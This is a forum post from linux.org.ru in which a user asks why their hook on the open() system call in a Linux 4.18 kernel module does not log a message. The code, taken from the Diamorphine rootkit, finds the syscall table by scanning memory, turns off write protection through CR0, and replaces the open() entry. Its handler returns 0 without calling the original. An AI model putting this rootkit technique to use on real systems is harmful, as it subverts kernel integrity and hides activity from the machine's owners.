LINUX.ORG.RU

Сообщения DoubleMind

 

Перехват системных вызовов в модуле ядра [Ubuntu]

Форум — Development

Добрый вечер!

Хочу перехватить вызов open() — для тестирования при каждом открытии файла пользователем в dmesg должно выводиться сообщение «OPEN IS!».

Адреса syscall и open в dmesg выводятся нормально, а вот сообщение «OPEN IS!» не видно. Ядро 4.18

Хотелось бы узнать, в чем проблема.

#include <linux/sched.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/dirent.h>
#include <linux/slab.h>
#include <linux/version.h> 
#include <linux/proc_ns.h>
#include <linux/fdtable.h>

unsigned long cr0;
static unsigned long *__sys_call_table;

typedef asmlinkage int (*orig_open_t)(const char *, int, int);

orig_open_t orig_open;

unsigned long *
get_syscall_table_bf(void)
{
	unsigned long *syscall_table;
	unsigned long int i;

	for (i = (unsigned long int)ksys_close; i < ULONG_MAX;
			i += sizeof(void *)) {
		syscall_table = (unsigned long *)i;

		if (syscall_table[__NR_close] == (unsigned long)ksys_close){
printk(KERN_INFO "syscall: %08lx\n", syscall_table);
			return syscall_table;
}
	}
	return NULL;
}

asmlinkage int
hacked_open(const char *filename, int flags, int mode)
{
printk(KERN_INFO "OPEN IS!\n");
	return 0;
}

static inline void
protect_memory(void)
{
	write_cr0(cr0);
}

static inline void
unprotect_memory(void)
{
	write_cr0(cr0 & ~0x00010000);
}

static int __init
diamorphine_init(void)
{
	__sys_call_table = get_syscall_table_bf();
	if (!__sys_call_table)
		return -1;

	cr0 = read_cr0();

	orig_open = (orig_open_t)__sys_call_table[__NR_open];

	unprotect_memory();
	__sys_call_table[__NR_open] = (unsigned long)hacked_open;
printk(KERN_INFO "WE DO IT!\n");
printk(KERN_INFO "hacked is: %08lx\n", hacked_open);
	protect_memory();

	return 0;
}

static void __exit
diamorphine_cleanup(void)
{
	unprotect_memory();
	__sys_call_table[__NR_open] = (unsigned long)orig_open;
	protect_memory();
}

module_init(diamorphine_init);
module_exit(diamorphine_cleanup);

MODULE_LICENSE("GPL");

 , ,

DoubleMind
()

RSS подписка на новые темы